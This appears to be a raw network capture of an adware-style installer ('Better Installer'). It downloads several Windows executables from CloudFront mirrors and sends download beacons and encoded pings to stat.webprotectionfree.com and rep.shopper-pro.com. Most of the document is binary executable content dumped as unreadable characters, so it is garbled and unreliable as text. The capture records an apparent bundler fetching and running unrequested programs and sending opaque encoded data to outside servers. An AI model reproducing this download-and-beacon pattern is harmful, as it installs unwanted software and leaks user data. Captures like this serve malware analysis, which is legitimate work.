Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 196221-523255/523256
Content-Length: 327035
Connection: keep-alive
/..**[email protected]%-P.....0L.r....P8.C?k.......4!....tqQ.nJ.\.r.v..&k...
}.9..t=;d...Fe0.....b.g.."S,......a..J0.Y:.....o..]...G..4U.Xu...L..x.
.F..8.(...C'...*`.i....9..K(..[.......!..<..3Z............,.g. '...
yO.......J-...;...._.|"..g.....jD">.........*W.l9.0....@ .C......hm
.E.m.......j.&.V...r..t-e.JW.../Q..V.1n/n...Q.z.p }Sv...t..t.....g5C:.
.&@........$\ ....i..7..C B..q..6%."..zg..3......../O...{..^.._...5...
@i.e.|i[9...qF0{.....-Mo'...p.N'....=..#........g.4.]...7....O<....
..Ag..y.....w....C.....0a.......Ui.B......]...X.X.".w=a.sa1.......I&..
x....E_.a..K.1.~.`..p{...h....S....Pz./...G.a...O...[/......j2'y.y.t..
._.4.o.....!.......%.m..q..S...A&..*b>...C........D8...b5..=.s.....
..xHc~9..5?$...g.c.]PG..m..............q....BG....|.A..Zs..;_. ...$...
[email protected].}.YC...Y....Y..%m.3.^}.."../..I
.u.[...z..>.......y.-6<.wU..%0/..7qJ.n!......r....7b!...........
P..{.6......0...oB...S0F...../..=}2i.e_/...........[.i.V.}..[..i.1....
.. .....h.).-}.{..f...u...f'0.....%........t.4......R....M.....p.,..E.
.A.o.u5b..n..&....u.<.(.(LK... .g.........#.>.O..B`.|..0.1.?....
...07....(5.'..P..d.!7...._o...<..v^&...._A3n[S.F.._..${V{....#,[..
;..<.\n.._..uH...*.I..mN&Q...N#H.q.n.=.!...48.......SN..2.4'.......
g..6WY.D......._..W*.v..=.>[email protected].........|D9i/..y.|W@......
 .8..t...M....q..x..$P..i..?%$......j...z.C..@.,p.vW..!y..v.I....~"9..
.X>......NA....5j.E...q[.....Y...h...O=cS.fU..D.]..<....r..3f...
..3..!x..[t..SO. ....u1.m{Z"..Jw....O*..SG*..?TYb......x.~.....E..
<<< skipped >>>


GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=512938-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 73276
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 512938-586213/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: CG_29RdhebKx0ljL1Hsjnp_n10sgJWN8DgyQ0FfRKAKi9aD-f7FD-w==
....\z...L.N.......lJ...$.].N... .......p7x6..}..w...s...............l
...5....)[email protected].'l.E.....>....;.=-..]..#.c...L.R..3.r..CL
...,....6.Z..h...L.\........w...N!....L.w{W^..0..S.....os..T..d!3.(..)
......}..%..=,.,./...=...:.%vkZ...M.....1.Z......).H.f'..........i.f0t
......J.>[email protected]..^..j9..]<....b. .B......85..y..9....,uM......
....q4.6....hp.Y..tom...y^:g7...mq......i]..m....)..`....,.41.........
.:_._z.F.4....xQ.T}.2.{.yX.,.....$.`.....".T..>..* 9.!..?vI%(.w.1.B
....ER...!.:..=...<...d(....W.......7.....k..w.9...*...B....(.. 7.G
...e.]s.b....&.....z....j..K....o.D..k.....s.c.....?...%3y.....ZE!..h3
d.\.<Z... !^.x..?...t.J-...s....E.&.....~...7..[L." b....<....].
_.J.A...n...}/.(....l..az3..b...S.}..."........7N...T.I`..........d.xg
2f...G..:..4b.....V.W...&h..N&....TL...a.....aq:.......;. .P..a..<'
.`.."Le..o[,.".....A.L.I..E...Gc~.!;?.*.B...b.......f..I..x#J.U..m....
....)....."k.lz&>$..A..([.*,......m.Z.j=..J=....\O.P//"...e..$.r...
:J~#&...0/.<.l...m>..p.g....G4l.......E\.n..`%TBv..vLy........d.
.2..$z.8...X.bT....D..\Jj....k..:..r....W.W..[.\.`.......p.gJ##Y..0`.S
..Y3.............>3JH.c`.......z)..].Qz.V .!<.....8.2........v..
8.......L.e?."..W.(h.-/u....2.k..h.....C\..2.D....6..1^3.e.9......A.A.
..;[email protected]...!_..g$..36...5.#R|,..s`....S*.K..~vL.^V.
mC..j_.k.......G....{...>.3......V..._R..nYM....Z.O..2.)....k,8@...
..d.>..........;....Hg@'......~...nq.\....v......f.].E...8:..o.i.9.
[email protected].}2..&ASi...0...zpCM..R....7.i*.mM.e.k..Y|.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=63807-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 9115
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 63807-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: w488DJ_-sVhUuDO6shmN_vYFFA-V6bmjtQBbtw34Kimhnw_8PmHkdg==
.9)8..s..g..H{P8....7..................O.o{.....v/.w.......J..2B.2..s.
d;...3...d...c.....;....N.\(.]..O......wrH....)P......5...j<.-.x^..
.o8..^..N...._...$......n.3...8..`&,....l..#.D.....j.......k.]._..K...
..P.* W<,...s;I...c-..b.d.....naRX...L..J....8../.N.s9._.W.Ls.F-..H
...0.........:bpu..i.B.$... ..K.\O.v......Cr.e.!..J......t.JU._..">
&....1....7..).a......d.Ne..D..cw.v......k...n.Y..(&.BW..V.".#.2.. ...
..O...kf..Dg.:...z.o.,B.<4.<.E......*/..u.2...... T.. ?.."...`..
......A.......q.Dp.%.R....c......d4..L..p[.}..E.....[c.L..`k9f.....&ZZ
VR...p.X.3;..I.......<.......S..V....R....[....|...G..{.l.>/....
.k....._..........xfSp.".N..Lr.|[..D.~ot$H....c.....|.U..q;...}...a.f@
g.....h.Q.M.A7.U..G.N.C]..y...C..'}... .....<O. ..C.O..'.4.Rf..^.".
.M."..N.."I..rD[x&i%........&M....c...1.Q..........q.....&..[....H....
i..D......8...%...5:.Y....{..zP..&.k..1. rr...:..Y:.<H..6Kx....2^..
.................D...d.01......FEu.9..x..1....l].%....O.Z........?}"Y&
lt;.M...SY..0/M.l..E..d..!j..0UxY...;>c}.... .x91.-.XS2.)....K..K8.
UD.......... .c.....n(.^....R...e..Ef)3t\..|[email protected]\.Tp.P.J.8.S..X.
.A.Rn....i.. P.w^......7'..JP......8Q;=.}x~.'...x.......g..k.J.!bE....
..U X..z}(.~.....p...Q...y...(........Ox.%.|Q..h.Y...-...g..w.!.;..5..
..T.T.?..-......%^..r.<...?..n2 .K.q.TD....r...............1..(..`.
9.C..E&..725.\.......CR.5.....j1.t.(.z.'............r....q3..2AN.;bn..
.2Y.Vj.....>..J=iH........(.c.....{......*|s|[email protected]..
.5.../.I.........&.)t.... .(eNp$t.L%...(UZG.J"... Nk.L5(,yC.-{.m..
<<< skipped >>>


GET /pin.gif?e=download&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:04 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:23:04 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=downloadsuc&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:05 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:23:05 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=downloadend&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13&ec=0 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:21 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: wGqYbnNRmJ-gOTIMd3VxBA7aUJy_cbsV-V9Kc8eGEFy3CO6XZSla2g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=160792-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1125537
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 25 Mar 2015 11:12:47 GMT
Content-Range: bytes 160792-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: yUvk0lsaKm_5lhczeak6OjFx_89yepNULpSgkjN6qK8_zX9PVz9RmA==
......'oS.l.g......*. .=.....8..;....#.?U... .i....=..{}...z..N..8s2.u
[email protected]}..j..bP.&.k.Z%...0..T...SG.9....w.........U..d[3XR. 
.1.......... I...T.H'..F,4........j..y.7F..~eF^Lt...........a...q.,.|.
..M3.]....).......FT.^..k.Ad...0MVn;.R....7W;~..,....8..e..umjZ..o.jfK
[email protected].~.%.6.I....F..<.(.O..^<..r.vOh..J...:.....,.sY...
C!2.;O........N:..2. ..F.Q...?g_..n..S..9r l.{...P..fLJ.)......ED..Y..
.e..w.......J....}....... B..y.....}..5.ib.-....6.......&....i....u...
d.aV.Z....a....Q..h.z  N{....Y!N...n.....W...5.f.Z.j. ..O..h.M=k....,.
.O....S .k..j1V...K.E..OYB.].40...A.._u...<...y....}j..].B....7e.D.
..:2........`?I....>.4y.N.#&[:.I..(D.W...r..abD.a..N.....t...0P4q.&
gt;....hV.....;..Ud.OZ..I.....(...p.E.."..{...'..^.X2..U..w.._...(.(..
............z.&.g...E...9.&z.F(...J...EH.......%!...o-aG...:.3.7.....V
.....|.q....<...........&w.......}..G&.w........x...%4?...4.......s
a...vo.G$.Hm...]C..T.F..Kc"j...../.(;...p".v..........[.D..0:#.|..q.c.
a?..r....$;^|.!....\..).K..>......Sm..]s...C....t...._.F....#!..T.z
W<..).*...L.l..Sk...$.2d.C...$....CX7...`.i..X.......(.....T....:SG
.1:.c......z..$%...e.=M#7.^.....:.%...k/.......(.........3.._1.k...]..
.............dh. ....9......!.>..L N....R.h?c......B..Q0s...o......
[email protected]..{.t?....WT.&.../.W...}.../B...T.LAr,.......!E..(....E
.. .T*S#..V6.K......O.F.....j....2z..P|C..e.......x.. k...W.....h.".9.
@Vl......K.=.RP......w..A ...@~x....J.....`..V..T".X...<[email protected].,
...1....0..B....X.v`.F.a.;#^u...n*as. ..U[...|.j.;.{y ....;.v1;W..
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=160792-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1125537
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 160792-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Kxsc-krr1_5awbgAkITOgKsWC8XExBuo7Jt8IpYQPfvh3WeICCCLug==
......'oS.l.g......*. .=.....8..;....#.?U... .i....=..{}...z..N..8s2.u
[email protected]}..j..bP.&.k.Z%...0..T...SG.9....w.........U..d[3XR. 
.1.......... I...T.H'..F,4........j..y.7F..~eF^Lt...........a...q.,.|.
..M3.]....).......FT.^..k.Ad...0MVn;.R....7W;~..,....8..e..umjZ..o.jfK
[email protected].~.%.6.I....F..<.(.O..^<..r.vOh..J...:.....,.sY...
C!2.;O........N:..2. ..F.Q...?g_..n..S..9r l.{...P..fLJ.)......ED..Y..
.e..w.......J....}....... B..y.....}..5.ib.-....6.......&....i....u...
d.aV.Z....a....Q..h.z  N{....Y!N...n.....W...5.f.Z.j. ..O..h.M=k....,.
.O....S .k..j1V...K.E..OYB.].40...A.._u...<...y....}j..].B....7e.D.
..:2........`?I....>.4y.N.#&[:.I..(D.W...r..abD.a..N.....t...0P4q.&
gt;....hV.....;..Ud.OZ..I.....(...p.E.."..{...'..^.X2..U..w.._...(.(..
............z.&.g...E...9.&z.F(...J...EH.......%!...o-aG...:.3.7.....V
.....|.q....<...........&w.......}..G&.w........x...%4?...4.......s
a...vo.G$.Hm...]C..T.F..Kc"j...../.(;...p".v..........[.D..0:#.|..q.c.
a?..r....$;^|.!....\..).K..>......Sm..]s...C....t...._.F....#!..T.z
W<..).*...L.l..Sk...$.2d.C...$....CX7...`.i..X.......(.....T....:SG
.1:.c......z..$%...e.=M#7.^.....:.%...k/.......(.........3.._1.k...]..
.............dh. ....9......!.>..L N....R.h?c......B..Q0s...o......
[email protected]..{.t?....WT.&.../.W...}.../B...T.LAr,.......!E..(....E
.. .T*S#..V6.K......O.F.....j....2z..P|C..e.......x.. k...W.....h.".9.
@Vl......K.=.RP......w..A ...@~x....J.....`..V..T".X...<[email protected].,
...1....0..B....X.v`.F.a.;#^u...n*as. ..U[...|.j.;.{y ....;.v1;W..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277620-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



9E.....V....bA.....;..toXbq.....h.c|...q...4}..N.....1.r.2.(k(......."
.I..v.....I.'f..>Dr.d....j.Y.|#.W._vM.b..^....@. <......R..6.
8C.v....6.!.....WQ.!p.}{..&.4.0..Z..tw1...B.........@..\.'...._.It4...
......P..f......(...Cr.x....f.?.t ..s.c..Z.......Yz...,.2L............
.v\Cjh.}wbw...w..F^....},.......C..7$.A-.......n....sA.....g.....n....
^...F....H#m...q...b..q~s.7S8h.@{...>.Z.V...$.DO.....*...e@"Y7.I...
C...H!.....).v....8.......s\lK..-.b.8..Z .......[..(...4d..v...E&W....
.C..]..$.7.mEP<.#..N......ZY.._..e.|v....:....=.\].[.....nk-.......
..9.1..-.B....4.. .xk.O......[.*u..r...zA.....c...r...{./....ia,..w.Cw
.@..%.f../.....".......R.n.;........e|.Y)K.Q..E.e.S.$..7r...?..V.<a
..ZL ...L.K.=....i.tj......N5.....P.{...........V...!..[....C..!'..p..
B^...(.....|.n..........I... 9...s..~.ZZ.%......9............4........
..uJ..((.4...KL........f...7.-l.R.#.."..>._.Q4.......j.>.;.y2...
.n...[....vG..m.I.s.D..K....}s.b.0...7f.!.(.P.L.ulm.J.<[...7..w....
.x...Vg.g4IJ..r.u9b']... S_S:{.iD.L..vJk...O.'.M...|..".^.cc...Q...Q.`
.GX....~...!...^l.\.({..I....U....Eg..'_..z..0B.d5.P.........K..3.P.x.
Q.P..F....q..[_#.A...Ib....zP...v.p......K |_t.. ......>.m.]..Z.#V.
=L......l.\...(....1JY.^.n...O.D....v..^!V......fT.........J..ilb....v
[email protected]....:........9.[....WDE..f....\,.Dt...v.w.)...D.....$P&u.j..PG
.xat.....l.r.r..^....du.........t%....ii.w....[j.........v.4.'/H.p.)iQ
@.x..O.!......Y.|[email protected]..._f......-.W.",...../...`...q
18.....F.........



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=45577-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 27345
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 45577-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: gi8RvpdhF4J2QMQFkPUERx3latOQY6GTc46z1L27zDX6BXpc2vm7SA==
...H..@......,...............M.S. .S.h.e.l.l. .D.l.g..............P..*
.<..........................PA.(............................P....,.
......................................*.............M.S. .S.h.e.l.l. .
D.l.g..............P(...x..........................P..................
g................P(...x...L.......P.l.e.a.s.e. .w.a.i.t. .w.h.i.l.e. .
S.e.t.u.p. .i.s. .l.o.a.d.i.n.g...........................(...........
..h.....  ............  ............00.................. .h.....  ....
 .........4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...........................
..............................j.....S.t.r.i.n.g.F.i.l.e.I.n.f.o...F...
..0.4.0.9.0.0.0.0...8.....C.o.m.p.a.n.y.N.a.m.e.....W.e.b.P.r.o.t.e.c.
t.P...*.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n.........2.....F.i.l.e.V.e.r.
s.i.o.n.....4...1...0...1.3.....&.....L.e.g.a.l.C.o.p.y.r.i.g.h.t.....
..8.....P.r.o.d.u.c.t.N.a.m.e.....W.e.b.P.r.o.t.e.c.t.P...6.....P.r.o.
d.u.c.t.V.e.r.s.i.o.n...4...1...0...1.3.....D.....V.a.r.F.i.l.e.I.n.f.
o.....$.....T.r.a.n.s.l.a.t.i.o.n.............<?xml version="1.0" e
ncoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-m
icrosoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity ver
sion="1.0.0.0" processorArchitecture="*" name="Nullsoft.NSIS.exehead" 
type="win32"/><description>Nullsoft Install System v3.0b0<
/description><dependency><dependentAssembly><assembl
yIdentity type="win32" name="Microsoft.Windows.Common-Controls" versio
n="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144cc
<<< skipped >>>


GET /app/ping.ashx?e=LCnUzM5l8JJBYQAernua8KdvklASGFy4PsaMaytXqcH7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lAfnxw7SIWTP24HfyObXx1UdC9oYZcFcASiQud1Q24EcqWLfaltpxWxEermBzJsSMI64eKLyvxa894khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib1Mzc7WX06R2uPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWPaGI  OrLsrKau9xWXQx// HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE58Pk9jtfSr7GKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn26 zlcM/GE6vKXvKl WC9NHCYP95s6pM yitVgB0Q26cLwy83MF3Ek7xKwR3W9AY9/CpuCTIAF0= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE5HixPWBkhqF2M/kHgvislIrVX/EPqwe9CwGEQqEL5v9HCOZtFDRBBDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaB0JaqM5TfRQn3eTjDgBC/5xMNQnf18CmhWXN/GxlYr58Sd3C5z7hKC1Yt96j8Hn3PgGUqUYly4OA= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE2CArG4HtKvdX1gPBPGd4Gf2NRySioDRRvM76 kd7VSGiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/ETaK06TzGSxNCESZ2BqQgm3p QkSZustsDnBflfPj05KspWKxkXw9x/48vBuBRiWOEog NNy6LA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=1ZEnpGuz/IS8qFEAMB5m Q2HQrgrTiWF62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mfzS3wiEn2jlzeGB1LSz51ypNer4pG7P2P2FiKI97oD3Xmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OmSWf0W4lRoPNIgdrQcZ7S7h1a7V4caBKqoNDoiIkn3W3mGs6iThnVH2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gdCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK fEndwuc 4Sgso3Gv nP8wmYBlKlGJcuDg HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=/k6kR j50tprzMCAALYrPTdjsMBgf4CrB70p5cFj8vcSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lRtaJpyVwIUyDFuu4lVl/6ypRW8qn0uD1alT0xFAdp3hnDgs7q5vmXmsGOqWbMqdvXVZ Zort0Xz3M2Ge/ KBdjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPow7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWiZMAOD3mcq6DxJ w6ryxW8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=eFCD8T/coiezrE/yDXLQySZzmvE Kfh2yg8hl9elfMkicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L2J9sb7MHhzULyuQvLksANcYrkTZsU4NhjNan7HLQ0t8a50u3XyigpVREcH6lvzpS2WA5XhQ4MoPBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFv4uzwtb9XYh4EMcPPJxJ3O4wQ7Tcc f5SDJZDtDdEMZSMCHprqIohR8kpng0IpIJ HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:13 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
